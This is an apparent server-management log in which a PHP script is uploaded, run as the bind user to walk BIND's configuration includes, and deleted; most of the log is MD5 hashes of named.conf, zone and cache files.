MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 19:56:26: Establishing a connection
2026-04-24 19:56:26: 

PUT: /tmp/pkp515878

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 19:56:27: 

runuser -l bind -s /bin/bash -c '/tmp/pkp515878; rm /tmp/pkp515878'

2026-04-24 19:56:27: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 19:56:29: Establishing a connection
2026-04-24 19:56:29: 

PUT: /tmp/pkp395912

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 19:56:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp395912; rm /tmp/pkp395912'

2026-04-24 19:56:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
